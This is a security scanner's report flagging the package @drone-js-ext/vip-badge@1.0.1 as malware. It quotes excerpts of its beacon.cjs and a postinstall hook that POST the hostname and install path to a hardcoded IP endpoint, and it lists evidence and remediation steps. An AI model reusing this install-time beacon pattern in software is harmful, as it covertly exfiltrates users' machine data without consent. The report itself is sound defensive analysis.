@drone-js-ext/vip-badge@1.0.1
Compatibility shim.
AI Security Review
scanned 10d ago · by lpm-firewall-aiThe package automatically discloses host and installation metadata to a hardcoded external endpoint during installation, with no consent gate. This is an active installation-time data disclosure, so publication should be blocked.
Static reason
One or more suspicious static signals were detected.; source fingerprint signature matched known malicious package; routed for review
Trigger
Installing the package with lifecycle scripts enabled; importing index.js also triggers the beacon.
Impact
The recipient receives the machine hostname and package installation location, along with package and runtime metadata.
Mechanism
beacon.cjs constructs a metadata payload and sends it in an HTTP POST to a hardcoded endpoint, without a consent check.
Attack narrative
Installing the package runs a postinstall script that sends host and installation metadata to a fixed external endpoint. Importing the package also triggers the request. The source shows no consent gate for either trigger.
AI rationale
The package automatically discloses host and installation metadata to a hardcoded external endpoint during installation, with no consent gate. This is an active installation-time data disclosure, so publication should be blocked.
Evidence
package.jsonindex.jsbeacon.cjs
Network endpoints1
185.158.107.175:8787/_ah/dc
Decision evidence
public snapshotAI called this Malicious at 98.0% confidence as Malware with low false-positive risk.
Evidence for block
- package.json runs beacon.cjs automatically during postinstall.
- index.js also sends the beacon when the package is imported.
- beacon.cjs posts to a fixed external IP address.
- The request sends a payload containing the package name, hostname, installation path, and working directory.
- beacon.cjs writes the request body and ends the request without a consent check.
Evidence against
Behavioral surface
Network
UrlStrings
Source & flagged code
9 flaggedpackage.jsonView file
•scripts.postinstall = node beacon.cjs
High
Install Time Lifecycle Scripts
Package defines install-time lifecycle scripts.
package.jsonView on unpkg7"postinstall": "node beacon.cjs"
},
"files": [
"index.js",
"beacon.cjs",
"README.md"
],
"license": "MIT"
}
High
Suspicious Lifecycle Evidence
package.json runs beacon.cjs automatically during postinstall.
package.jsonView on unpkg · L7beacon.cjsView file
3// recipient can correlate an install. No data beyond that is collected or sent.
L4: var BEACON = "http://185.158.107.175:8787/_ah/dc";
L5: var PKG = "@drone-js-ext/vip-badge";
...
L10: var lib = u.protocol === 'https:' ? require('https') : require('http');
L11: var data = Buffer.from(JSON.stringify(payload));
L12: var req = lib.request({
...
L20: req.setTimeout(5000, function () { try { req.destroy(); } catch (e) {} resolve(); });
L21: req.write(data); req.end();
L22: } catch (e) { resolve(); }
...
L27: package: PKG,
L28: hostname: (function () { try { return require('os').hostname(); } catch (e) { return ''; } })(),
L29: installPath: __dirname,
Findings
9 High1 Medium2 Low
HighInstall Time Lifecycle Scriptspackage.json
HighHost Fingerprint Exfiltrationbeacon.cjs
HighKnown Malware Source Fingerprint Signaturebeacon.cjs
HighSuspicious Lifecycle Evidencepackage.json
HighAi Review Evidenceindex.js
HighAi Review Evidencebeacon.cjs
HighAi Review Evidencebeacon.cjs
HighAi Review Evidencebeacon.cjs
HighAi Review Evidencebeacon.cjs
MediumNetwork
LowScripts Present
LowUrl Strings
Affected versions and remediation
This report applies to @drone-js-ext/vip-badge@1.0.1.
See all versions of @drone-js-ext/vip-badge for other recorded verdicts.
- Avoid installing @drone-js-ext/vip-badge@1.0.1. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
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Source advisory published: .
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